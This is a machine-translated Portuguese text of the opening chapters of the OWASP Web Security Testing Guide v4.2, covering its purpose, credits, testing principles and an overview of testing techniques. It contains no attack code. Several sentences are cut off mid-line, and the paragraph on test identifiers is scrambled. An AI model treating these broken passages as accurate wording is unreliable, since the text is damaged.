Escolar Documentos
Profissional Documentos
Cultura Documentos
WSTG v4.2 1 275
WSTG v4.2 1 275
Índice
4.2.4 Revise backups antigos e arquivos não referenciados para obter informações confidenciais
4.10.5 Teste o número de vezes que uma função pode ser usada limites
5. Relatórios
O problema do software inseguro é talvez o desafio técnico mais importante do nosso tempo. O aumento dramático de aplicativos da Web que
permitem negócios, redes sociais, etc., apenas combinou os requisitos para estabelecer uma abordagem robusta para escrever e proteger
nossa Internet, aplicativos da Web e dados.
No Open Web Application Security Project® (OWASP®), estamos tentando tornar o mundo um lugar onde o software inseguro é a anomalia,
não a norma. O OWASP Testing Guide tem um papel importante a desempenhar na solução desse problema sério. É de vital importância que
nossa abordagem para testar problemas de segurança de software seja baseada nos princípios da engenharia e da ciência. Precisamos de
uma abordagem consistente, repetível e definida para testar aplicativos da web. Um mundo sem alguns padrões mínimos em termos de
engenharia e tecnologia é um mundo em caos.
Nem é preciso dizer que você não pode criar um aplicativo seguro sem realizar testes de segurança nele. O teste faz parte de uma abordagem
mais ampla para construir um sistema seguro. Muitas organizações de desenvolvimento de software não incluem testes de segurança como
parte de seu processo padrão de desenvolvimento de software. O que é ainda pior é que muitos fornecedores de segurança fornecem testes
com vários graus de qualidade e rigor.
O teste de segurança, por si só, não é uma medida independente particularmente boa de quão seguro é um aplicativo, porque há um número
infinito de maneiras pelas quais um invasor pode fazer um aplicativo quebrar e simplesmente não é possível teste todos eles. Não podemos
nos hackear com segurança, pois temos apenas um tempo limitado para testar e defender onde um invasor não possui tais restrições.
Em conjunto com outros projetos OWASP, como o Code Review Guide, o Development Guide e ferramentas como OWASP ZAP, este é um
ótimo começo para criar e manter aplicativos seguros. Este Guia de Teste mostrará como verificar a segurança de seu aplicativo em execução.
Eu recomendo usar esses guias como parte de suas iniciativas de segurança de aplicativos.
A importância de ter este guia disponível de forma totalmente gratuita e aberta é importante para a missão da fundação. Ele dá a qualquer
pessoa a capacidade de entender as técnicas usadas para testar problemas de segurança comuns. A segurança não deve ser uma arte negra
ou um segredo fechado que apenas alguns podem praticar. Deve ser aberto a todos e não exclusivo para profissionais de segurança, mas
também QA, desenvolvedores e gerentes técnicos. O projeto para construir este guia mantém este conhecimento nas mãos das pessoas que
precisam dele - você, eu e qualquer um que esteja envolvido na construção de software.
Este guia deve chegar às mãos de desenvolvedores e testadores de software. Não há especialistas em segurança de aplicativos suficientes no
mundo para fazer qualquer diferença significativa no problema geral. A responsabilidade inicial pela segurança do aplicativo deve recair sobre
os desenvolvedores porque eles escrevem o código. Não deveria ser uma surpresa que os desenvolvedores não estejam produzindo código
seguro se não o estiverem testando ou considerando os tipos de bugs que introduzem a vulnerabilidade.
Manter essas informações atualizadas é um aspecto crítico deste projeto de guia. Adotando a abordagem wiki, a comunidade OWASP pode
evoluir e expandir as informações neste guia para acompanhar o rápido cenário de ameaças à segurança de aplicativos.
Este Guia é uma grande prova da paixão e energia que nossos membros e voluntários do projeto têm por este assunto. Certamente ajudará a
mudar o mundo, uma linha de código por vez.
Machine Translated by Google
6
Em geral, existem várias funções diferentes dentro das organizações que podem usar este guia:
Os desenvolvedores devem usar este guia para garantir que estão produzindo código seguro. Esses testes devem fazer parte do código normal e dos
Testadores de software e QA devem usar este guia para expandir o conjunto de casos de teste que aplicam aos aplicativos. Detectar essas vulnerabilidades
Os especialistas em segurança devem usar este guia em combinação com outras técnicas como uma forma de verificar se nenhuma brecha de segurança
Os gerentes de projeto devem considerar a razão pela qual este guia existe e que os problemas de segurança se manifestam por meio de bugs no código e
no design.
A coisa mais importante a lembrar ao realizar testes de segurança é redefinir prioridades continuamente. Há um número infinito de possíveis maneiras pelas quais
um aplicativo pode falhar, e as organizações sempre têm tempo e recursos de teste limitados. Certifique-se de que o tempo e os recursos sejam gastos com
sabedoria. Tente se concentrar nas falhas de segurança que são um risco real para o seu negócio. Tente contextualizar o risco em termos do aplicativo e seus
casos de uso.
Este guia é melhor visualizado como um conjunto de técnicas que você pode usar para encontrar diferentes tipos de brechas de segurança. Mas nem todas as
técnicas são igualmente importantes. Tente evitar usar o guia como uma lista de verificação, novas vulnerabilidades estão sempre se manifestando e nenhum guia
pode ser uma lista exaustiva de “coisas para testar”, mas sim um ótimo lugar para começar.
Existem várias empresas que vendem ferramentas automatizadas de análise e teste de segurança. Lembre-se das limitações dessas ferramentas para que você
possa usá-las para o que elas são boas. Como disse Michael Howard na Conferência OWASP AppSec de 2006 em Seattle, “Ferramentas não tornam o software
Mais importante ainda, essas ferramentas são genéricas - o que significa que não são projetadas para o seu código personalizado, mas para aplicativos em geral.
Isso significa que, embora possam encontrar alguns problemas genéricos, eles não têm conhecimento suficiente de seu aplicativo para permitir que detectem a
maioria das falhas. Na minha experiência, os problemas de segurança mais sérios são aqueles que não são genéricos, mas profundamente interligados em sua
Essas ferramentas também podem ser muito úteis, pois encontram muitos problemas em potencial. Embora a execução das ferramentas não leve muito tempo,
cada um dos possíveis problemas leva tempo para ser investigado e verificado. Se o objetivo é encontrar e eliminar as falhas mais graves o mais rápido possível,
considere se seu tempo é melhor gasto com ferramentas automatizadas ou com as técnicas descritas neste guia. Ainda assim, essas ferramentas certamente
Usados com sabedoria, eles podem oferecer suporte a seus processos gerais para produzir códigos mais seguros.
Se você estiver construindo, projetando ou testando um software, recomendo fortemente que você se familiarize com as orientações de teste de segurança deste
documento. É um ótimo roteiro para testar os problemas mais comuns que os aplicativos enfrentam hoje, mas não é exaustivo. Se você encontrar erros, adicione
uma nota à página de discussão ou faça a alteração você mesmo. Você estará ajudando milhares de outras pessoas que usam este guia.
Por favor, considere se juntar a nós como membro individual ou corporativo, para que possamos continuar a produzir materiais como este guia de testes e todos
Obrigado a todos os colaboradores anteriores e futuros deste guia, seu trabalho ajudará a tornar as aplicações em todo o mundo mais
seguro.
Open Web Application Security Project e OWASP são marcas registradas da OWASP Foundation, Inc.
Machine Translated by Google
8
Frontispício
Bem-vindo
Como nos concentramos na melhoria incremental, esta versão apresenta várias atualizações. Padronizamos formatos de
cenário para criar uma melhor experiência de leitura, adicionamos objetivos para cada cenário de teste, mesclamos
seções e adicionamos novos cenários em alguns tópicos de teste modernos.
—Rick Mitchell
A OWASP agradece a muitos autores, revisores e editores por seu trabalho árduo em trazer este guia para onde ele está hoje. Se você tiver algum
comentário ou sugestão sobre o Guia de teste, sinta-se à vontade para abrir um problema ou enviar uma correção/contribuição por meio de
solicitação pull para nosso repositório GitHub.
Este documento é distribuído sob a licença Creative Commons 4.0. Por favor, leia e entenda a licença e
líderes
Elie Saad
Rick Mitchell
Equipe principal
Rejah Rehim
Victoria Drake
Autores
Aaron Williams
Janos Zold
Mark Clayton
ou Asaf
rbsec
Rick Mitchell
Rishu Ranjan
Rubal Jain
Samuele Casarin
Stefano Calzavara
Tal Argoni
Victoria Drake
Machine Translated by Google
9
Designers gráficos
Hugo Costa
Jishnu Vijayan CK
Muhammed Anees
Ramzi Fazah
Revisores ou Editores
Abhi M Balakrishnan
Asharaf Ali
Elie Saad
Eoin Murphy
Francisco Bustos
congelado
Hsiang-Chih Hsu
Lukasz Lubczynski
Miguel Arevalo
Najam Ul Saqib
Nikoleta Misheva
Patrick Santos
Rejah Rehim
Rick Mitchell
Roman Mueller
Thomas Lim
Tom Bowyer
Victoria Drake
Marcas Registradas
Java, Java Web Server e JSP são marcas registradas da Sun Microsystems, Inc.
Open Web Application Security Project e OWASP são marcas registradas da OWASP Foundation, Inc.
Todos os outros produtos e nomes de empresas podem ser marcas comerciais de seus respectivos proprietários. O uso de um termo neste documento
não deve ser considerado como afetando a validade de qualquer marca registrada ou marca de serviço.
Detalhes de contato para a Fundação OWASP estão disponíveis on- line. Se você tiver alguma dúvida sobre um projeto específico, recomendamos
usar o Grupo do Google para esse projeto. Muitas perguntas também podem ser respondidas pesquisando o OWASP web site, por favor, verifique lá
primeiro.
Siga-nos
Machine
10
Translated by Google
Introdução
Escrever o Guia de Teste provou ser uma tarefa difícil. Foi um desafio obter consenso e desenvolver conteúdos que permitissem às pessoas aplicar
os conceitos descritos no guia, ao mesmo tempo que permitissem que trabalhassem em seu próprio ambiente e cultura. Também foi um desafio
mudar o foco dos testes de aplicativos da web de testes de penetração para testes integrados ao ciclo de vida do desenvolvimento de software.
No entanto, o grupo está muito satisfeito com os resultados do projeto. Muitos especialistas do setor e profissionais de segurança, alguns dos quais
são responsáveis pela segurança de software em algumas das maiores empresas do mundo, estão validando a estrutura de teste. Essa estrutura
ajuda as organizações a testar seus aplicativos da Web para criar software confiável e seguro. A estrutura não apenas destaca as áreas de
fraqueza, embora isso seja certamente um subproduto de muitos dos guias e listas de verificação OWASP. Como tal, decisões difíceis tiveram que
ser tomadas sobre a adequação de certas técnicas e tecnologias de teste. O grupo entende perfeitamente que nem todos concordarão com todas
essas decisões. No entanto, a OWASP é capaz de se posicionar e mudar a cultura ao longo do tempo por meio de conscientização e educação,
com base no consenso e na experiência.
O restante deste guia está organizado da seguinte forma: esta introdução abrange os pré-requisitos de teste de aplicativos da Web e o escopo do
teste. Ele também abrange os princípios de testes bem-sucedidos e técnicas de teste, práticas recomendadas para geração de relatórios e casos
de negócios para testes de segurança. O Capítulo 3 apresenta o OWASP Testing Framework e explica suas técnicas e tarefas em relação às várias
fases do ciclo de vida do desenvolvimento de software. O Capítulo 4 aborda como testar vulnerabilidades específicas (por exemplo, SQL Injection)
por inspeção de código e teste de penetração.
O teste de segurança não é diferente. Infelizmente, medir a segurança é um processo notoriamente difícil.
Um aspecto que deve ser enfatizado é que as medidas de segurança tratam tanto de questões técnicas específicas (por exemplo, quão prevalente
é uma determinada vulnerabilidade) quanto de como essas questões afetam a economia do software. A maioria das pessoas técnicas entenderá
pelo menos os problemas básicos ou poderá ter uma compreensão mais profunda das vulnerabilidades. Infelizmente, poucos são capazes de
traduzir esse conhecimento técnico em termos monetários e quantificar o custo potencial das vulnerabilidades para os negócios do proprietário do
aplicativo. Até que isso aconteça, os CIOs não conseguirão desenvolver um retorno preciso sobre o investimento em segurança e, subsequentemente,
atribuir orçamentos apropriados para segurança de software.
Embora estimar o custo de software inseguro possa parecer uma tarefa assustadora, tem havido uma quantidade significativa de
trabalho nessa direção. Em 2018, o Consórcio para Qualidade de Software de TI resumiu:
…o custo de software de baixa qualidade nos EUA em 2018 é de aproximadamente US$ 2,84 trilhões…
A estrutura descrita neste documento incentiva as pessoas a medir a segurança durante todo o processo de desenvolvimento. Eles podem então
relacionar o custo do software inseguro com o impacto que ele tem nos negócios e, consequentemente,
Machine Translated by Google
12
desenvolver processos de negócios apropriados e atribuir recursos para gerenciar o risco. Lembre-se de que medir e testar aplicativos da
Web é ainda mais crítico do que para outros softwares, pois os aplicativos da Web são expostos a milhões de usuários por meio da
Internet.
O que é Testar?
Muitas coisas precisam ser testadas durante o ciclo de vida de desenvolvimento de um aplicativo da web, mas o que realmente significa
testar? O Oxford Dictionary of English define “teste” como:
teste (substantivo): um procedimento destinado a estabelecer a qualidade, desempenho ou confiabilidade de algo, especialmente
antes de ser amplamente utilizado.
Para os fins deste documento, o teste é um processo de comparação do estado de um sistema ou aplicativo em relação a um conjunto
de critérios. No setor de segurança, as pessoas costumam fazer testes em relação a um conjunto de critérios mentais que não são bem
definidos nem completos. Como resultado disso, muitas pessoas de fora consideram os testes de segurança uma arte negra. O objetivo
deste documento é mudar essa percepção e tornar mais fácil para pessoas sem conhecimento profundo de segurança fazerem a diferença
nos testes.
Quando Testar?
A maioria das pessoas hoje não testa o software até que ele já tenha sido criado e esteja na fase de implantação de seu ciclo de vida (ou
seja, o código foi criado e instanciado em um aplicativo da Web funcional). Esta é geralmente uma prática muito ineficaz e de custo
proibitivo. Um dos melhores métodos para evitar que bugs de segurança apareçam em aplicativos de produção é melhorar o Ciclo de
Vida de Desenvolvimento de Software (SDLC) incluindo a segurança em cada uma de suas fases. Um SDLC é uma estrutura imposta ao
desenvolvimento de artefatos de software. Se um SDLC não estiver sendo usado no momento em seu ambiente, é hora de escolher um!
A figura a seguir mostra um modelo SDLC genérico, bem como o custo crescente (estimado) de correção de bugs de segurança em tal
modelo.
Machine Translated by Google
13
As empresas devem inspecionar seu SDLC geral para garantir que a segurança seja parte integrante do processo de desenvolvimento.
Os SDLCs devem incluir testes de segurança para garantir que a segurança seja adequadamente coberta e os controles sejam eficazes durante todo o
processo de desenvolvimento.
O que testar?
Pode ser útil pensar no desenvolvimento de software como uma combinação de pessoas, processos e tecnologia. Se esses são os fatores que “criam” o
software, então é lógico que esses são os fatores que devem ser testados. Hoje, a maioria das pessoas geralmente testa a tecnologia ou o próprio
software.
Processo – garantir que existam políticas e padrões adequados e que as pessoas saibam como seguir essas políticas;
Tecnologia – para garantir que o processo tenha sido eficaz em sua implementação.
Machine Translated by Google
14
A menos que uma abordagem holística seja adotada, testar apenas a implementação técnica de um aplicativo não revelará vulnerabilidades
de gerenciamento ou operacionais que possam estar presentes. Ao testar pessoas, políticas e processos, uma organização pode detectar
problemas que mais tarde se manifestariam como defeitos na tecnologia, erradicando assim os bugs antecipadamente e identificando as
causas principais dos defeitos. Da mesma forma, testar apenas alguns dos problemas técnicos que podem estar presentes em um sistema
resultará em uma avaliação de postura de segurança incompleta e imprecisa.
Denis Verdon, chefe de segurança da informação da Fidelity National Financial, apresentou uma excelente analogia para esse equívoco na
conferência OWASP AppSec 2004 em Nova York:
Se os carros fossem construídos como aplicativos … os testes de segurança assumiriam apenas o impacto frontal. Os carros não seriam
testados quanto à estabilidade em manobras de emergência, eficácia do freio, impacto lateral e resistência a roubo.
Os identificadores podem mudar entre as versões, portanto, é preferível que outros documentos, relatórios ou ferramentas usem o formato:
WSTG-<versão>-<categoria>-<número> , onde: 'versão' é aseria
marca da versão
entendido com a pontuação
especificamente removida.
como Porteste
o segundo exemplo: WSTG-v42-INFO-02
de coleta de informações
da versão 4.2.
Se os identificadores forem usados sem incluir o elemento <version> , eles devem ser considerados como referências ao conteúdo mais
recente do Web Security Testing Guide. Obviamente, à medida que o guia cresce e muda, isso se torna problemático, e é por isso que
escritores ou desenvolvedores devem incluir o elemento de versão.
ligando
A vinculação aos cenários do Guia de Teste de Segurança da Web deve ser feita usando links com versão não estável ou mais recente , que
definitivamente mudarão com o tempo. No entanto, é intenção da equipe do projeto que os links com versão não sejam alterados. Por exemplo:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-
Information_Gathering/02-Fingerprint_Web_Server.html . Nota: o elemento v42 refere-se à versão 4.2.
Feedback e comentários
Como em todos os projetos OWASP, comentários e feedback são bem-vindos. Gostamos especialmente de saber que nosso trabalho está
sendo usado e que é eficaz e preciso.
equívocos comuns ao desenvolver uma metodologia de teste para encontrar bugs de segurança em software.
Este capítulo aborda alguns dos princípios básicos que os profissionais devem levar em consideração ao realizar testes de segurança em
software.
profissionais de segurança perceberam a falácia do modelo patch-and-penetrate que foi difundido na segurança da informação durante a
década de 1990. O modelo patch-and-penetrate envolve a correção de um bug relatado, mas sem investigação adequada da causa raiz. Este
modelo é normalmente associado à janela de vulnerabilidade, também designada por janela de exposição, apresentada na figura abaixo. A
evolução das vulnerabilidades em softwares comuns utilizados mundialmente tem mostrado a ineficácia desse modelo. Para obter mais
informações sobre janelas de exposição, consulte Schneier on Security.
Machine Translated by Google
15
Estudos de vulnerabilidade, como o Relatório de Ameaças à Segurança na Internet da Symantec mostraram que, com o tempo de reação dos
invasores em todo o mundo, a janela típica de vulnerabilidade não oferece tempo suficiente para a instalação do patch, pois o tempo entre a
descoberta de uma vulnerabilidade e o desenvolvimento e lançamento de um ataque automatizado contra ela diminui a cada ano.
Existem várias suposições incorretas no modelo patch-and-penetrate. Muitos usuários acreditam que os patches interferem nas operações
normais ou podem interromper os aplicativos existentes. Também é incorreto presumir que todos os usuários estão cientes dos patches recém-
lançados. Conseqüentemente, nem todos os usuários de um produto aplicarão patches, seja porque acham que o patch pode interferir no
funcionamento do software ou porque não têm conhecimento sobre a existência do patch.
É essencial criar segurança no ciclo de vida de desenvolvimento de software (SDLC) para evitar problemas de segurança recorrentes em um
aplicativo. Os desenvolvedores podem criar segurança no SDLC desenvolvendo padrões, políticas e diretrizes que se encaixem e funcionem
dentro da metodologia de desenvolvimento. A modelagem de ameaças e outras técnicas devem ser usadas para ajudar a atribuir recursos
apropriados às partes de um sistema que correm maior risco.
O SDLC é Rei
O SDLC é um processo bem conhecido dos desenvolvedores. Ao integrar a segurança em cada fase do SDLC, ele permite uma abordagem
holística para a segurança do aplicativo que aproveita os procedimentos já existentes na organização. Esteja ciente de que, embora os nomes
das várias fases possam mudar dependendo do modelo SDLC usado por uma organização, cada fase conceitual do arquétipo SDLC será
usada para desenvolver o aplicativo (ou seja, definir, projetar, desenvolver, implantar, manter). Cada fase tem considerações de segurança que
devem se tornar parte do processo existente, para garantir um programa de segurança abrangente e econômico.
Existem várias estruturas SDLC seguras que fornecem conselhos descritivos e prescritivos. Se uma pessoa aceita aconselhamento descritivo
ou prescritivo depende da maturidade do processo SDLC. Essencialmente, o conselho prescritivo mostra como o SDLC seguro deve funcionar,
e o conselho descritivo mostra como ele é usado no mundo real. Ambos têm seu lugar. Por exemplo, se você não sabe por onde começar, uma
estrutura prescritiva pode fornecer um menu de possíveis controles de segurança que podem ser aplicados no SDLC. O aconselhamento
descritivo pode ajudar a conduzir o processo de decisão, apresentando o que funcionou bem para outras organizações. SDLCs seguros
descritivos incluem BSIMM; e os SDLCs seguros prescritivos incluem o Open Software Assurance Maturity Model (OpenSAMM) da OWASP e
ISO/IEC 27034 Partes 1-7, todos publicados (exceto a parte 4).
Quando um bug é detectado no início do SDLC, ele pode ser resolvido mais rapidamente e com um custo menor. Um bug de segurança não é
diferente de um bug funcional ou baseado em desempenho nesse aspecto. Uma etapa fundamental para tornar isso possível é educar as equipes
de desenvolvimento e controle de qualidade sobre problemas de segurança comuns e as formas de detectá-los e evitá-los. Embora novas
bibliotecas, ferramentas ou linguagens possam ajudar a projetar programas com menos bugs de segurança, novas ameaças surgem
constantemente e os desenvolvedores devem estar cientes das ameaças que afetam o software que estão desenvolvendo. A educação em
testes de segurança também ajuda os desenvolvedores a adquirir a mentalidade apropriada para testar um aplicativo da perspectiva de um
invasor. Isso permite que cada organização considere as questões de segurança como parte de suas responsabilidades existentes.
Automação de teste
Em metodologias de desenvolvimento modernas, como (mas não limitado a): ágil, devops/devsecops ou desenvolvimento rápido de aplicativos
(RAD), deve-se considerar a integração de testes de segurança em fluxos de trabalho de integração contínua/implantação contínua (CI/CD) para
manter as informações/análises de segurança da linha de base e identificar as fraquezas do tipo “frutos mais fáceis”. Isso pode ser feito
aproveitando o teste de segurança de aplicativo dinâmico (DAST), o teste de segurança de aplicativo estático (SAST) e a análise de composição
de software (SCA) ou ferramentas de rastreamento de dependência durante fluxos de trabalho de liberação automatizada padrão ou em uma
programação regular.
Entenda o assunto
Uma das primeiras grandes iniciativas em qualquer bom programa de segurança deve ser exigir documentação precisa do aplicativo. A
arquitetura, diagramas de fluxo de dados, casos de uso, etc. devem ser registrados em documentos formais e disponibilizados para revisão. A
especificação técnica e os documentos de aplicação devem incluir informações que listam não apenas os casos de uso desejados, mas também
quaisquer casos de uso especificamente não permitidos. Finalmente, é bom ter pelo menos uma infra-estrutura de segurança básica que permita
o monitoramento e tendências de ataques contra aplicativos e rede de uma organização (por exemplo, sistemas de detecção de intrusão).
Embora já tenhamos afirmado que não existe uma ferramenta bala de prata, as ferramentas desempenham um papel crítico no programa de
segurança geral. Há uma variedade de ferramentas comerciais e de código aberto que podem automatizar muitas tarefas rotineiras de segurança.
Essas ferramentas podem simplificar e acelerar o processo de segurança auxiliando o pessoal de segurança em suas tarefas. No entanto, é
importante entender exatamente o que essas ferramentas podem e não podem fazer para que não sejam exageradas ou usadas incorretamente.
que todas as seções possíveis da lógica do aplicativo foram testadas e que todos os cenários de caso de uso foram explorados em busca de possíveis
vulnerabilidades.
um ambiente de produção, eles não são a maneira mais eficaz ou eficiente de proteger um aplicativo. É difícil para o teste dinâmico testar toda a base de código,
especialmente se existirem muitas instruções condicionais aninhadas. Se o código-fonte do aplicativo estiver disponível, ele deve ser fornecido à equipe de
segurança para auxiliá-los durante a revisão. É possível descobrir vulnerabilidades na origem do aplicativo que seriam perdidas durante um envolvimento de
caixa preta.
Desenvolver Métricas
Uma parte importante de um bom programa de segurança é a capacidade de determinar se as coisas estão melhorando. É importante acompanhar os resultados
dos compromissos de teste e desenvolver métricas que revelarão as tendências de segurança de aplicativos dentro da organização.
Se houver um mecanismo de segurança específico que não seja claramente compreendido pela equipe de desenvolvimento;
Métricas consistentes que podem ser geradas de forma automatizada a partir do código-fonte disponível também ajudarão a organização a avaliar a eficácia dos
mecanismos introduzidos para reduzir os bugs de segurança no desenvolvimento de software. As métricas não são facilmente desenvolvidas, portanto, usar um
Para concluir o processo de teste, é importante produzir um registro formal de quais ações de teste foram executadas, por quem, quando foram realizadas e
detalhes das descobertas do teste. É aconselhável concordar com um formato aceitável para o relatório que seja útil para todas as partes envolvidas, que podem
incluir desenvolvedores, gerenciamento de projetos, proprietários de negócios, departamento de TI, auditoria e conformidade.
O relatório deve identificar claramente para o proprietário da empresa onde existem riscos materiais e fazê-lo de maneira suficiente para obter seu apoio para
ações de mitigação subsequentes. O relatório também deve ser claro para o desenvolvedor ao apontar a função exata afetada pela vulnerabilidade e
recomendações associadas para resolver problemas em um idioma que o desenvolvedor entenderá. O relatório também deve permitir que outro testador de
segurança reproduza os resultados. Escrever o relatório não deve ser excessivamente oneroso para o próprio testador de segurança. Os testadores de segurança
geralmente não são conhecidos por suas habilidades de escrita criativa, e concordar com um relatório complexo pode levar a instâncias em que os resultados do
teste não são documentados adequadamente. O uso de um modelo de relatório de teste de segurança pode economizar tempo e garantir que os resultados
sejam documentados com precisão e consistência e estejam em um formato adequado para o público.
visão geral de alto nível de várias técnicas de teste que podem ser empregadas ao criar um programa de teste. Não apresenta metodologias específicas para
Esta seção foi incluída para fornecer contexto para a estrutura apresentada no próximo capítulo e para destacar as vantagens ou desvantagens de algumas das
Modelagem de Ameaças
Revisão de código
Teste de penetração
Visão geral
As inspeções manuais são revisões humanas que normalmente testam as implicações de segurança de pessoas, políticas e processos.
As inspeções manuais também podem incluir a inspeção de decisões de tecnologia, como projetos arquitetônicos. Eles geralmente são conduzidos
analisando a documentação ou realizando entrevistas com os projetistas ou proprietários do sistema.
Embora o conceito de inspeções manuais e revisões humanas seja simples, elas podem estar entre as técnicas mais poderosas e eficazes
disponíveis. Ao perguntar a alguém como algo funciona e por que foi implementado de uma maneira específica, o testador pode determinar
rapidamente se é provável que haja alguma preocupação com a segurança. Inspeções e revisões manuais são uma das poucas maneiras de
testar o próprio processo de ciclo de vida de desenvolvimento de software e garantir que haja uma política ou habilidade adequada em vigor.
Como em muitas coisas na vida, ao realizar inspeções e revisões manuais, é recomendável adotar um modelo de confiança, mas verifique. Nem
tudo o que é mostrado ou dito ao testador será preciso. As revisões manuais são particularmente boas para testar se as pessoas entendem o
processo de segurança, foram informadas sobre a política e têm as habilidades adequadas para projetar ou implementar aplicativos seguros.
Outras atividades, incluindo a revisão manual da documentação, políticas de codificação segura, requisitos de segurança e projetos arquitetônicos,
devem ser realizadas por meio de inspeções manuais.
Vantagens
Não requer tecnologia de suporte
No início do SDLC
Desvantagens
Pode ser demorado
Modelagem de Ameaças
Visão geral
A modelagem de ameaças tornou-se uma técnica popular para ajudar os projetistas de sistemas a pensar sobre as ameaças de segurança que
seus sistemas e aplicativos podem enfrentar. Portanto, a modelagem de ameaças pode ser vista como uma avaliação de risco para aplicativos.
Ele permite que o designer desenvolva estratégias de mitigação para vulnerabilidades potenciais e os ajuda a concentrar seus recursos e atenção
inevitavelmente limitados nas partes do sistema que mais exigem. Recomenda-se que todos os aplicativos tenham um modelo de ameaça
desenvolvido e documentado. Os modelos de ameaças devem ser criados o mais cedo possível no SDLC e devem ser revisados à medida que o
aplicativo evolui e o desenvolvimento progride.
Para desenvolver um modelo de ameaça, recomendamos uma abordagem simples que segue o NIST 800-30 padrão para avaliação de risco.
Essa abordagem envolve:
Decompondo o aplicativo – use um processo de inspeção manual para entender como o aplicativo funciona, seus ativos, funcionalidade e
conectividade.
Definição e classificação dos ativos – classifique os ativos em ativos tangíveis e intangíveis e classifique-os de acordo com a importância do
negócio.
Explorando ameaças potenciais – desenvolva uma visão realista dos vetores de ataque potenciais da perspectiva de um invasor usando
cenários de ameaças ou árvores de ataque.
Criar estratégias de mitigação – desenvolver controles de mitigação para cada uma das ameaças consideradas realistas.
Machine Translated by Google
19
A saída de um modelo de ameaça em si pode variar, mas geralmente é uma coleção de listas e diagramas. Vários projetos de código aberto e produtos
comerciais oferecem suporte a metodologias de modelagem de ameaças de aplicativos que podem ser usadas como referência para testar aplicativos quanto a
possíveis falhas de segurança no design do aplicativo. Não há maneira certa ou errada de desenvolver modelos de ameaças e realizar avaliações de risco de
informações em aplicativos.
Vantagens
Visão prática do atacante do sistema
Flexível
No início do SDLC
Desvantagens
Bons modelos de ameaças não significam automaticamente um bom software
Revisão do código-fonte
Visão geral
A revisão do código-fonte é o processo de verificação manual do código-fonte de um aplicativo da Web em busca de problemas de segurança. Muitas
vulnerabilidades de segurança graves não podem ser detectadas com nenhuma outra forma de análise ou teste. Como diz o ditado popular “se você quer saber
o que realmente está acontecendo, vá direto à fonte”. Quase todos os especialistas em segurança concordam que não há substituto para realmente olhar o
código. Todas as informações para identificar problemas de segurança estão no código, em algum lugar. Ao contrário do teste de software fechado, como
sistemas operacionais, ao testar aplicativos da Web (especialmente se forem desenvolvidos internamente), o código-fonte deve ser disponibilizado para fins de
teste.
Muitos problemas de segurança não intencionais, mas significativos, são extremamente difíceis de descobrir com outras formas de análise ou teste, como o teste
de penetração. Isso torna a análise de código-fonte a técnica de escolha para testes técnicos. Com o código-fonte, um testador pode determinar com precisão o
que está acontecendo (ou deveria estar acontecendo) e remover o trabalho de adivinhação do teste de caixa preta.
Exemplos de problemas que são particularmente propícios a serem encontrados por meio de revisões de código-fonte incluem problemas de simultaneidade,
lógica de negócios defeituosa, problemas de controle de acesso e fraquezas criptográficas, bem como backdoors, cavalos de Tróia, ovos de Páscoa, bombas-
relógio, bombas lógicas e outras formas de Código malicioso. Esses problemas geralmente se manifestam como as vulnerabilidades mais prejudiciais em
aplicativos da web. A análise do código-fonte também pode ser extremamente eficiente para encontrar problemas de implementação, como locais onde a
validação de entrada não foi realizada ou onde procedimentos de controle de falha aberta podem estar presentes. Os procedimentos operacionais também
precisam ser revistos, pois o código fonte que está sendo implantado pode não ser o mesmo que está sendo analisado aqui. Discurso do Prêmio Turing de Ken
Vantagens
Integralidade e eficácia
Precisão
Desvantagens
Requer desenvolvedores conscientes de segurança altamente qualificados
O código-fonte realmente implantado pode diferir daquele que está sendo analisado
Para saber mais sobre revisão de código, consulte o projeto de revisão de código OWASP.
Teste de penetração
Visão geral
Machine Translated by Google
20
O teste de penetração tem sido uma técnica comum usada para testar a segurança da rede há décadas. Também é comumente conhecido como teste de caixa
preta ou hacking ético. O teste de penetração é essencialmente a “arte” de testar um sistema ou aplicativo remotamente para encontrar vulnerabilidades de
segurança, sem conhecer o funcionamento interno do próprio alvo. Normalmente, a equipe de teste de penetração consegue acessar um aplicativo como se
fossem usuários. O testador age como um invasor e tenta encontrar e explorar vulnerabilidades. Em muitos casos, o testador receberá uma ou mais contas
válidas no sistema.
Embora o teste de penetração tenha se mostrado eficaz na segurança da rede, a técnica não se traduz naturalmente em aplicativos. Quando o teste de
penetração é realizado em redes e sistemas operacionais, a maior parte do trabalho envolvido é encontrar e explorar vulnerabilidades conhecidas em tecnologias
específicas. Como os aplicativos da Web são quase exclusivamente personalizados, o teste de penetração na área de aplicativos da Web é mais semelhante à
pesquisa pura. Algumas ferramentas automatizadas de teste de penetração foram desenvolvidas, mas, considerando a natureza personalizada dos aplicativos
da Web, sua eficácia por si só pode ser baixa.
Muitas pessoas usam o teste de penetração de aplicativos da web como sua principal técnica de teste de segurança. Embora certamente tenha seu lugar em
um programa de teste, não acreditamos que deva ser considerado como a principal ou única técnica de teste. Como Gary McGraw escreveu em Software
Penetration Testing, “Na prática, um teste de penetração só pode identificar uma pequena amostra representativa de todos os possíveis riscos de segurança
em um sistema.” No entanto, testes de penetração focados (ou seja, testes que tentam explorar vulnerabilidades conhecidas detectadas em análises anteriores)
podem ser úteis para detectar se algumas vulnerabilidades específicas foram realmente corrigidas no código-fonte implantado.
Vantagens
Pode ser rápido (e, portanto, barato)
Desvantagens
Tarde demais no SDLC
abordagens para testar a segurança de aplicativos da Web, pode ser difícil entender quais técnicas usar ou quando usá-las. A experiência mostra que não há
resposta certa ou errada para a questão de exatamente quais técnicas devem ser usadas para construir uma estrutura de teste. Na verdade, todas as técnicas
devem ser usadas para testar todas as áreas que precisam ser testadas.
Embora esteja claro que não existe uma técnica única que possa ser executada para abranger efetivamente todos os testes de segurança e garantir que todos
os problemas sejam resolvidos, muitas empresas adotam apenas uma abordagem. A única abordagem usada tem sido historicamente o teste de penetração.
O teste de penetração, embora útil, não pode resolver efetivamente muitos dos problemas que precisam ser testados. É simplesmente “muito pouco tarde
demais” no SDLC.
A abordagem correta é uma abordagem equilibrada que inclui várias técnicas, desde revisões manuais até testes técnicos e testes integrados de CI/CD. Uma
abordagem equilibrada deve abranger testes em todas as fases do SDLC. Essa abordagem aproveita as técnicas mais apropriadas disponíveis, dependendo
da fase SDLC atual.
Claro que há momentos e circunstâncias em que apenas uma técnica é possível. Por exemplo, considere um teste de um aplicativo da web que já foi criado,
mas onde a parte de teste não tem acesso ao código-fonte. Nesse caso, o teste de penetração é claramente melhor do que nenhum teste. No entanto, as partes
